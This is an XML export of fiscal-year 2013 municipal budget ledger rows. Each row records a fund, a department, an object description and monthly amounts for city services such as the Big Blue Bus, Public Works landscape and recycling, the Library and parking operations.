<row _id="3535"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>563123.0</object><object_description>PARATRANSIT PROGRAM-PROP A LR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>192711.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>192711.0</total></row>
<row _id="3536"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>556035.0</object><object_description>USED OIL PAY PROG OPP3</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25596.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-19495</february><march>-6101.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3537"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561115.0</object><object_description>OPCC SAFE HAVEN-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3538"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561119.0</object><object_description>OPCC SOJOURN - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="3539"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>ST JOSEPH CENTER FSS - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7081.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7081.0</total></row>
<row _id="3540"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408510.0</object><object_description>BIKE NETWORK LINK EXPO-METRO</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-737255.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-737255.0</total></row>
<row _id="3541"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
<row _id="3542"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>60.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60.0</total></row>
<row _id="3543"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3544"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>401700.0</object><object_description>CIVIC AUDITORIUM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-154800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-154800.0</total></row>
<row _id="3545"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>659648.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6596</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>666244.0</total></row>
<row _id="3546"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1680.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1680.0</total></row>
<row _id="3547"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6200.0</total></row>
<row _id="3548"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3368.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3368.0</total></row>
<row _id="3549"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>124117.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1241</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125358.0</total></row>
<row _id="3550"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30562.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30562.0</total></row>
<row _id="3551"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="3552"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566920.0</object><object_description>YRT COLLABORATIVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>90220.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>90220.0</total></row>
<row _id="3553"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544397.0</object><object_description>OTHER-REFUND D/A</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>231854.81</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>231854.81</total></row>
<row _id="3554"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522870.0</object><object_description>THE BIG READ GRANT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15950</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15950.0</total></row>
<row _id="3555"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>65042</november><december>0</december><january>0.0</january><february>650</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65692.0</total></row>
<row _id="3556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4545</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4545.0</total></row>
<row _id="3557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>319</november><december>0</december><january>0.0</january><february>3</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>322.0</total></row>
<row _id="3558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>38500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38500.0</total></row>
<row _id="3559"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-228000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-228000.0</total></row>
<row _id="3560"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401210.0</object><object_description>DAMAGE TO CITY PROPERTY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-50000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="3561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>439605</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>439605.0</total></row>
<row _id="3562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404420.0</object><object_description>5TH AND ARIZONA PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-400000</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="3563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404430.0</object><object_description>MAIN STREET PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-1020000</april><may>0</may><june>0.0</june><total>-1020000.0</total></row>
<row _id="3564"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>410220.0</object><object_description>DOWNTOWN ADVERTISING REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-200000</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="3565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1576</april><may>0</may><june>0.0</june><total>1576.0</total></row>
<row _id="3566"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406804.0</object><object_description>13 STATE HOMELAND SEC GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>-200000.0</june><total>-200000.0</total></row>
<row _id="3567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579003.0</object><object_description>DISCRET-CRADLE TO CAREER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>145088.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>145088.0</total></row>
<row _id="3568"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406799.0</object><object_description>13 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>-47000</may><june>0.0</june><total>-47000.0</total></row>
<row _id="3569"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1600</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="3570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>24825</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24825.0</total></row>
<row _id="3571"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405090.0</object><object_description>CITY YARDS LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1433025</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1433025.0</total></row>
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<row _id="3599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>110921.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>110921.0</total></row>
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<row _id="3604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>318726.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>318726.0</total></row>
<row _id="3605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="3606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>72681.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72681.0</total></row>
<row _id="3607"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
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<row _id="3609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>281141.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>281141.0</total></row>
<row _id="3610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>908.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>908.0</total></row>
<row _id="3611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24072.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24072.0</total></row>
<row _id="3612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6400.0</total></row>
